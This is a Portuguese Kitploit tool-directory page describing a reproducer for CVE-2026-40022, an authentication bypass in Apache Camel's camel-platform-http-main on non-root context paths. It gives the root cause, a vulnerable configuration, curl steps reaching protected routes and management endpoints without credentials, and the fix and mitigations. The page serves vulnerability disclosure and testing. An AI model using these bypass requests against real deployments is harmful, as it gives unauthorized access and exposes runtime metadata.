Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40022 — Reprodutor para CVE-2026-40022: bypass de autenticação do Apache Camel camel-platform-http-main em caminhos de contexto não raiz | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-40022
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoConfiguração Incorreta
GitHuboscerd/cve-2026-40022

CVE-2026-40022

Reprodutor para CVE-2026-40022: bypass de autenticação do Apache Camel camel-platform-http-main em caminhos de contexto não raiz

Ver Repositório
2há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-platform-http-main Contorno de Autenticação em Caminhos de Contexto Não-Raiz (CVE-2026-40022)

Este projeto demonstra um contorno de autenticação no componente camel-platform-http-main do Apache Camel (o servidor HTTP/gerenciamento embutido do main runtime do Camel), registrado como CVE-2026-40022. Quando a autenticação está habilitada e um caminho de contexto não-raiz (ex.: /api ou /admin) é configurado, o manipulador de autenticação cobre apenas o caminho de contexto exato, então requisições não autenticadas para subcaminhos alcançam rotas protegidas e endpoints de gerenciamento.

Advisory: https://camel.apache.org/security/CVE-2026-40022.html

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-platform-http-main (servidor HTTP/gerenciamento embutido do runtime Camel)
Classes AfetadasBasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
Causa raizQuando authenticationPath não está definido, ele é derivado de camel.server.path; com o modelo de montagem de sub-roteador do Vert.x, o manipulador de autenticação corresponde apenas ao caminho de contexto exato, não aos seus subcaminhos
CWECWE-287: Autenticação Imprópria (contorno de autenticação)
ImpactoAcesso não autenticado a rotas de negócio protegidas e endpoints de gerenciamento (ex.: /observe/info divulgação de metadados do runtime)
Versões AfetadasDe 4.14.1 antes de 4.14.6, e de 4.15.0 antes de 4.18.2
Versões Corrigidas4.14.6, 4.18.2, 4.20.0
RelatorJihang Yu
PRsapache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x)

Detalhes Técnicos

BasicAuthenticationConfigurer (e JWTAuthenticationConfigurer) resolve o caminho que o manipulador de autenticação protege a partir de properties.getAuthenticationPath(), caindo para properties.getPath() (o caminho de contexto camel.server.path) quando não está definido explicitamente:

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

O servidor Vert.x monta um sub-roteador em <contextPath>* e registra o manipulador de autenticação dentro desse sub-roteador no caminho resolvido. Nas versões afetadas, o caminho resolvido é o próprio caminho de contexto, então — relativo ao sub-roteador já montado em /api — o manipulador de autenticação acaba correspondendo a /api/api em vez de cada subcaminho. Como resultado:

  • /api/api é desafiado (401) — o manipulador existe, apenas com escopo incorreto
  • /api/hello (a rota de negócio real) não é desafiado → servido sem credenciais

A correção faz resolveAuthenticationPath retornar /*, para que o manipulador cubra todos os subcaminhos do sub-roteador.

Configuração

application.properties — um caminho de contexto não-raiz com autenticação habilitada e authenticationPath não definido:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

A rota é servida em /api/hello.

Pré-requisitos

  • Java 17+
  • Maven 3.8+

Nenhum serviço externo ou container Docker é necessário — o servidor HTTP vulnerável é o próprio aplicativo.

Passos para Reprodução

Passo 1: Compilar e Iniciar

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

Passo 2: Mostrar que a autenticação ESTÁ habilitada

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

O BasicAuthHandler está ativo — mas com escopo incorreto no caminho de contexto exato.

Passo 3: O contorno — alcançar a rota protegida sem credenciais

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (esta é uma rota de negócio PROTEGIDA)

Em uma versão corrigida (4.14.6 / 4.18.2 / 4.20.0) isso retorna 401 Unauthorized.

Passo 4: Com credenciais também funciona (conforme o esperado)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

Impacto: divulgação de endpoints de gerenciamento

A mesma falha se aplica ao servidor de gerenciamento (camel.management.path, ex.: /admin). Uma requisição não autenticada para um subcaminho como /admin/observe/info alcança o endpoint de gerenciamento, que pode divulgar metadados do runtime: o usuário do SO, diretório de trabalho/home, ID do processo, informações da JVM e do SO.

Condições de Exploração

  1. O runtime main do Camel com camel-platform-http-main.
  2. Autenticação habilitada no servidor ou servidor de gerenciamento.
  3. Um caminho de contexto não-raiz (camel.server.path / camel.management.path).
  4. camel.server.authenticationPath / camel.management.authenticationPath não definido explicitamente.

Correção Recomendada

Atualize para 4.14.6 / 4.18.2 / 4.20.0. A correção (resolveAuthenticationPath) faz o manipulador de autenticação cobrir todo subcaminho:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // antes: o caminho de contexto exato
}

Mitigação

Até atualizar:

  1. Defina explicitamente camel.server.authenticationPath = /* (e camel.management.authenticationPath = /*) para que o manipulador cubra todos os subcaminhos.
  2. Mantenha o servidor de gerenciamento apenas em uma rede confiável.

Arquivos

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Ponto de entrada do runtime Camel main
    │   └── HelloRoute.java           # uma rota platform-http protegida (/api/hello)
    └── resources/
        ├── application.properties    # caminho não-raiz + autenticação habilitada (a config vulnerável)
        └── auth.properties           # usuário basic-auth (camel / propertiesPass)

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta